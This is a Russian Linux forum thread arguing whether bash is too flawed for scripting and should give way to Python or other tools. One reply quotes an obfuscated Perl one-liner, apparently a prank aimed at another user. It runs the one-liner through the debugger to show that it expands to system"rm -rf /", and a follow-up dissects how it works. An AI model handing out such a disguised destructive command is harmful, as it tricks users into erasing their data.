LINUX.ORG.RU

Если в баше все так плохо, не пора ли перестать им пользоваться для скриптов?

 ,


5

7

Прочитал на днях вот эту статейку: http://www.dwheeler.com/essays/filenames-in-shell.html. Это просто жесть. Я наверное не видел ни одного баш скрипта, который бы делал все правильно, как там описано. Не легче ли использовать какой-нибудь там питон для этого, а не терпеть внезапные унижения собственным шеллом, когда ты впервые запустишь скрипт на файлах с русскими символами / пробелами / переносами строк / еще какими-нибудь внезапными названиями?

Ответ на: комментарий от alozovskoy

Напиши мне это на python.

Ну, начнём с того что тут «возможности» исчерпываются вызовом сторонних утилит и передачей управления по статусы выхода. Возможности питона гораздо шире этого. Баш тоже много чего умеет, но только через задницу.

Потом, есть куча доморощеных библиотек которые добавляют подобные функции. Ну, например: https://plumbum.readthedocs.org/en/latest/

Я успешно писал скрипты на python, мне нравилось потому что работало раз 10-20 быстрее и можно было легко интегрировать с другими питон-проектами. Но у него синтаксис не заточен под это, поэтому «cat /etc/resolv.conf» превращается, например, cat(«resolv.conf»). Но в остальном было нормуль, операторы && и || вполне поддаются перегрузке.

true_admin ★★★★★
()
Ответ на: комментарий от true_admin

Я не спорю что это можно написать на python. «Возможности питона гораздо шире этого», «Но у него синтаксис не заточен под это» - может стоить выбирать инструмент исходя из задачи, а не кукарекать «ололо мне сказали баш нинужен питон нужен» как это сделал ОП? Где-то хорошо использовать python, где-то профит от использования bash будет больше, а что-то вообще придется писать на C++ или каком-нибудь php.

alozovskoy ★★★★★
()
Ответ на: комментарий от alozovskoy

может стоить выбирать инструмент исходя из задачи

Лично мне всё равно на чём написаны тривиальные скрипты. А задачи часто шире чем просто последовательный вызов внешних комманд. И тут у баша серьёзные проблемы.

а не кукарекать «ололо мне сказали баш нинужен питон нужен» как это сделал ОП?

Отчего тебя так корёжит когда у кого-то мнение не совпадает с твоим?

true_admin ★★★★★
()
Ответ на: комментарий от true_admin

Лично мне всё равно на чём написаны тривиальные скрипты.

А мне - нет - иногда тривиальный скрипт на python тянет столько левых библиотек (которых у тебя нет и не понятно зачем они нужны), что просто не понимаешь зачем это все писалось. Иногда скрипты на bash на 90% состоят из каких-то костылей (и башизмов), что малейшая правка этого скрипта приводит к труднодиагностируемым проблемам во всем сценарии. По этому я считаю, что нужно выбирать инструмент исходя из задачи. Если это твой личный скрипт - пожалуйста, пиши на чем хочешь, но говорить что один язык плохой и по-этому давайте все (!) будем использовать другой - не правильно.

А задачи часто шире чем просто последовательный вызов внешних комманд. И тут у баша серьёзные проблемы.

Я часто вижу скрипты, которые реализуют простую логику, по сути при этом являясь просто «запускалкой» команд. Даже тот самый Ынтерпрайз, про который так много говорят, обычно поставляется с обвесом из множества sh-скриптов на пару сотен строк. И тут нет, на мой взгляд, ничего плохого - bash отлично справляется с простой подстановкой значений и, на основе этих подстановок, вызова нужных команд. И работать этот скрипт будет на большем количестве серверов, чем то же самое, но написанное на python. И еще - bash-скрипт (адекватный скажем так) может прочитать и понять большинство *nix-пользователей и администраторов, а вот разобраться в зоопарке питоновских библиотек - тут уже надо будет подумать.

Отчего тебя так корёжит когда у кого-то мнение не совпадает с твоим?

Я с радостью выслушаю обоснованное и подкрепленное аргументами мнение. ТС просто привел статью, по которой он сделал вывод что «в баше все плохо» и в теме топика чуть ли не призывает «бросить» писать на bash. Я считаю что это не совсем правильно. Я бы прочитал его историю про то, как он что-то писал на bash и постоянно испытывал сложности, но потом за гораздо меньшее время переписал все на python и теперь доволен. Но такой подход я принять не могу. А так мне вообще все равно - ТС вбросил, я тоже попробовал, если бы ты сейчас эту тему не поднял, то я бы про нее и не вспомнил.

alozovskoy ★★★★★
()
Ответ на: комментарий от alozovskoy

иногда тривиальный скрипт на python тянет столько левых библиотек (которых у тебя нет и не понятно зачем они нужны)

1) это не проблема питона. В баше тоже есть зависимости

2) эти скрипты явно что-то делают такое что на баше было бы полным извратом.

Если это твой личный скрипт - пожалуйста, пиши на чем хочешь, но говорить что один язык плохой и по-этому давайте все (!) будем использовать другой - не правильно.

Точно так же можно сказать и в обратную сторону. Что правильно а что нет это всегда субъективно.

а вот разобраться в зоопарке питоновских библиотек - тут уже надо будет подумать.

Тут ты смешиваешь шелл-скрипты с полноценным программированием. Я уверен, аналогичные скрипты на питоне будут даже более понятными.

ТС просто привел статью, по которой он сделал вывод что «в баше все плохо»

Так опровергни тезисы из статьи (я не читал, но представляю что там), делов-то.

true_admin ★★★★★
()
Ответ на: комментарий от alozovskoy

Я подумал над твоими словами и думаю я тебя понимаю. Для небольшого скрипта я бы не стал заморачиваться с питоном потому что это 1) не даст никаких преимуществ 2) нет устоявшихся библиотек для питона которые были бы стандартом де-факто.

Но если кто-то напишет скрипт на питоне то для меня это не будет трагедией. В конце концов, на чём быстрее получится достойный результат то и лучше использовать. А зависимости... в наш век с этим ничего не поделаешь. Достойного софта и так мало, а тут если ещё воротить нос аля «фу, тут плохой тулкит» то вообще нечем будет пользоваться.

true_admin ★★★★★
()
Ответ на: комментарий от Stanson

+@ nexfwall

'$??s:;s:s;;$?::s;;=]=>%-{<-|}<&|`{;;y; -/:-@[-`{-};`-{/" -;;s;;$_;see'

$ perl -d -e '$??s:;s:s;;$?::s;;=]=>%-{<-|}<&|`{;;y; -/:-@[-`{-};`-{/" -;;s;;$_;see'
main::(-e:1):   $??s:;s:s;;$?::s;;=]=>%-{<-|}<&|`{;;y; -/:-@[-`{-};`-{/" -;;s;;$_;see
  DB<1> s
main::(-e:1):   $??s:;s:s;;$?::s;;=]=>%-{<-|}<&|`{;;y; -/:-@[-`{-};`-{/" -;;s;;$_;see
  DB<1> s
main::(-e:1):   $??s:;s:s;;$?::s;;=]=>%-{<-|}<&|`{;;y; -/:-@[-`{-};`-{/" -;;s;;$_;see
  DB<1> s
main::(-e:1):   $??s:;s:s;;$?::s;;=]=>%-{<-|}<&|`{;;y; -/:-@[-`{-};`-{/" -;;s;;$_;see
  DB<1> s
main::((eval 6)[-e:1]:1):       system"rm -rf /"
  DB<1> q
gh0stwizard ★★★★★
()
Последнее исправление: gh0stwizard (всего исправлений: 1)
Ответ на: комментарий от gh0stwizard

Кстати, никогда не понимал, нахрена там первая часть, с проверкой $? и выполнением «активной» части только если $? == 0, достаточно ведь

s;;=]=>%-{<-|}<&|`{;;y; -/:-@[-`{-};`-{/" -;;s;;$_;see
Самое смешное, что нелюбители перла так и копируют это вместе с ненужной лабудой впереди не понимая как это работает :)

Ctrl+C;Ctrl+V во все поля :)

Stanson ★★★★★
()
Ответ на: комментарий от OldManClone

А в Скале получить список доступных методов объекта можно? Или их все надо в голове держать?

так подсказки IDE, не?

AndreyKl ★★★★★
()
Ответ на: комментарий от devl547

Ровно до момента, когда в этом питоне что-то не обновится.

Глупости.

mashina ★★★★★
()
Ответ на: комментарий от alozovskoy

разобраться в зоопарке питоновских библиотек

Нужно признать, в это мало отличается от зоопарка /usr/bin. Но:

историю про ... bash ... потом ... переписал все на python

Есть такое развлечение. Обычно, это вызывается отсутствием в /usr/bin компонент, делающих нечто необходимое для реализации новых требований. В результате, код этих «посторонних» компонент быстро распухает(он, обычно, «ниже уровнем», т.ч. многословнее), и «полезного» на его фоне уже не видно. У меня это вызывает боль и нехорошие мысли о заказчике. Впрочем, это вряд ли устранимо, такова жизнь.

По теме же, следует заметить, что, хотя bash и далёк от идеала(похоже, недостижимого в принципе), не факт, что он настолько далёк от предела возможного в своей нише, что в зазор поместится кто-то, отличающийся более чем косметически.

DonkeyHot ★★★★★
()

Согласен. Баш устарел и должен быть упразднён. Интерпретатор, нет типов данных, неограниченное метапрограммирование, сверхкороткий синтаксис.

Переходим на лисп.

Вообще в языке должен быть литературный язык для больших программ и жаргон для командной строки.

den73 ★★★★★
()
Ответ на: комментарий от AndreyKl

А в Скале получить список доступных методов объекта можно? Или их все надо в голове держать?

так подсказки IDE, не?

Сейчас у нас есть оболочка shell — универсальная штука, язык-клей, позволяюший выполнять команды, написанные на чём угодно, на любом языке.

Ты предлагаешь заменить её на java-based оболочку, все команды которой, вероятно, представляют собой java-only библиотеки, без этой оболочки не годные ни на что.

Теперь выясняется, что для того, чтобы нормально управлять этой оболочкой и её компонентами, нужен ещё IDE, умеющий смотреть хидеры библиотек (оу, и сами хидеры, видимо, нужны тоже)... а как раньше, править скрипты на удалённом хосте с помощью vi через канал 1200 бит/сек... а, ну да, уже не нужно.

Нет, мне так не нравится.

OldManClone ★★
()

Меня 20 лет bash бесит своими башизмами. /bin/sh должен быть хотя бы ash. Нужно баш запретить и оставить ash.

Shadow ★★★★★
()
Последнее исправление: Shadow (всего исправлений: 1)
Ответ на: комментарий от hlebushek

литературный - более многословный, универсальный и точный. Жаргон - более контекстно-зависимый, лаконичный, локально-осмысленный.

den73 ★★★★★
()
Ответ на: комментарий от den73

Например «/home» - это жаргон. «c:\documents and settings» - это литературный язык.

den73 ★★★★★
()
Ответ на: комментарий от OldManClone

Ты предлагаешь заменить её на java-based оболочку, все команды которой

куришь, или что то посерьёзней?

AndreyKl ★★★★★
()
Ответ на: комментарий от anonymous

Держи, не благодари!
(((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((())))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))

nexfwall ★★★★
()

Ужасная статья. Сам пишу на bash/sh не ахти, но ошибки в статье детские.

gBopHuk
()

Я наверное не видел ни одного баш скрипта, который бы делал все правильно, как там описано. Не легче ли использовать какой-нибудь там питон для этого, а не терпеть внезапные унижения собственным шеллом, когда ты впервые запустишь скрипт на файлах с русскими символами / пробелами / переносами строк / еще какими-нибудь внезапными названиями?

1. русские символы bash обрабатывает корректно (в отличие от питона, и большинства других скриптовых ЯП).

2. имена с пробелами требуют двойных кавычек. Ну и что? В большинстве ЯП тоже надо двойные кавычки ставить.

3. переносы строк в имени поломают не только и не столько bash.

emulek
()
Ответ на: комментарий от Stanson

Даже если сесть и хорошенько подумать, как написать самый угрёбищный шелл, то такого говнища всё равно не придумаешь.

я так думаю, программисты консультировались с менеджерами среднего звена.

Получилось довольно интересно. (в академическом смысле интересно).

emulek
()
Ответ на: комментарий от proud_anon

Так вот, проблема в том, что их крайне неудобно писать на баше. Только на всём остальном их ещё неудобнее писать.

подметать пробовал?

emulek
()
Ответ на: комментарий от OldManClone

OMG, вот почему ява такая монстроидальная — они вместо n опций лепят n^2 методов!

не n^2, а 2^n, что куда как больше

www_linux_org_ru ★★★★★
()
Ответ на: комментарий от Stanson

ps -h --user $USER -o vsize,pid | xargs -L1 sh -c '[ $0 -gt 512000 ] && kill $1

ps -h --user $USER -o vsize,pid | xargs -L1 sh -c '[ $0 -gt 512000 ] && echo $1'
Warning: bad ps syntax, perhaps a bogus '-'? See http://procps.sf.net/faq.html
4299
5304
28538
32094
32104

но это так, для начала беседы

вот ps имеет опцию -o, которая позволяет выбрать только нужные поля для вывода, а где такая же опция у ls? а где такая же опция у another_command?

а объектный подход, или, хотя бы, так скажем, структурный, который тут подошел бы больше, позволяет (позволил бы) обращаться к полям независимо от того, какая это команда

www_linux_org_ru ★★★★★
()
Ответ на: комментарий от Stanson

ps -h --user $USER -o vsize,pid | awk -F ' ' '{ if( $1 > 500*1024) { print $2 } }' | xargs kill

$1 ..... $2

в те далекие времена, когда по земле ходили мамонты, а люди рисовали их на стенах пещер, да, действительно, было принято обращаться к полям по их номеру; нынче же принято обращаться к полям по их названию, например так:

if( $vsize > 500*1024 ) { print $pid }
или так:
if( vsize > 500*1024 ) { print pid }
или же так:
if( _.vsize > 500*1024 ) { print _.pid }

www_linux_org_ru ★★★★★
()
Ответ на: комментарий от anonymous

Уродство powershell

powershell, по-моему, действительно уродство — в майкрософт взяли уродливый синтаксис баш и прилепили его скотчем к своему объектному шеллу, в надежде, что привыкшим к башу понравится, гы-гы

www_linux_org_ru ★★★★★
()
Ответ на: комментарий от den73

Баш устарел

да

и должен быть упразднён.

нет

Интерпретатор,

пчелы против меда? лисперы против интерпретации? если че, есть компиляторы баша

нет типов данных,

действительно

неограниченное метапрограммирование,

а в лиспе оно чем-то ограничено / более ограничено?

сверхкороткий синтаксис.

ыыы? и чем это плохо?

Переходим на лисп.

нет

Вообще в языке должен быть литературный язык для больших программ и жаргон для командной строки.

да

www_linux_org_ru ★★★★★
()
Последнее исправление: www_linux_org_ru (всего исправлений: 1)
Ответ на: комментарий от tailgunner

Нужны взрослые структуры данных (и статическая типизация!!!11 ну или хотя бы чекер).

да, нужны; даже «нужны» — это слишком мягко сказано; однако...

однако тут встает такой вопрос: если в баше будут взрослые структуры данных, то чем баш будет отличаться от полноценного языка? еще один полноценный язык?

мне кажется, баш все же должен быть каким-то подмножеством полноценного языка, который может исполняться (интерпретироваться) статически скомпилированным бинарником очень небольшого размера; плюс к этому должна быть возможность удобно использовать это подмножество из (некоторых) обычных языков

www_linux_org_ru ★★★★★
()
Последнее исправление: www_linux_org_ru (всего исправлений: 2)

Я тоже раньше не любил bash(и ему подобные), но повзрослел и прозрел.

Debasher ★★★★★
()
Ответ на: комментарий от anonymous

Какая разница? Pyton или Python? Суть не меняет.

TGZ ★★★★
()
Ответ на: комментарий от www_linux_org_ru

было принято обращаться к полям по их номеру; нынче же принято обращаться к полям по их названию

Это где так нынче принято? Где эта фича описана?

zolden ★★★★★
()
Ответ на: комментарий от www_linux_org_ru

в майкрософт взяли уродливый синтаксис баш и прилепили его скотчем к своему объектному шеллу

Где там bash-синтаксис? Можешь для своего удобства настроить псевдонимы (aliases), на этом внешнее сходство заканчивается. Ну еще пара фич типа через точку экспортировать в сессию переменные и функции из скрипта и запустить через '&' процесс (но, беда, не в фоне — для этого другие методы)

TGZ ★★★★
()
Вы не можете добавлять комментарии в эту тему. Тема перемещена в архив.